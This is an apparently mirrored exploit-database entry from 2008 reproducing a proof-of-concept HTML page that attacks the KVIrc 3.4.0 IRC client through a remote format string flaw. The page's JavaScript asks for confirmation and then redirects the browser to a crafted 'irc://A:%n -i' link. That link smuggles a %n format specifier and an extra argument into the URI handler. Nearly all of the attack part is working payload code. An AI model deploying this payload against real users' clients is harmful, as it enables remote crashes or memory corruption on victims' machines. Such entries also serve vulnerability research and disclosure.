KVIrc 3.4.0 Virgo Remote Format String Exploit PoC

CVE	Category	Price	Severity
	CWE-Other	Not disclosed	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2008-10-31

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2008100249

Below is a copy:

<!--

 KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)

 Summary: KVIrc is a free portable IRC client based on the excellent Qt GUI toolkit.
 KVirc is being written by Szymon Stefanek and the KVIrc Development Team with
 the contribution of many IRC addicted developers around the world.

 Product web page: http://www.kvirc.net/

 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

 liquidworm [t00t] gmail [d0t] com

 http://www.zeroscience.org

 24.10.2008

-->


<html>

<title>KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)</Title>

<head>

<body>

<center> <br /> <br /> <strong>Warning ! :)</strong> </center>

<body bgcolor="#FFFF00">

<script type="text/javascript">

alert("KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)\n\n\t\tby LiquidWorm (c) 2008");

function poc()
{
	window.location.href = "irc://A:%n -i";
}

var answ = confirm("Press OK to start exploitation\nPress Cancel to skip exploitation");

if (answ == true) 
{
	poc();
}

	else
	{
		window.location.href = "http://www.kvirc.net";
	}

</script> </body> </head> </html>

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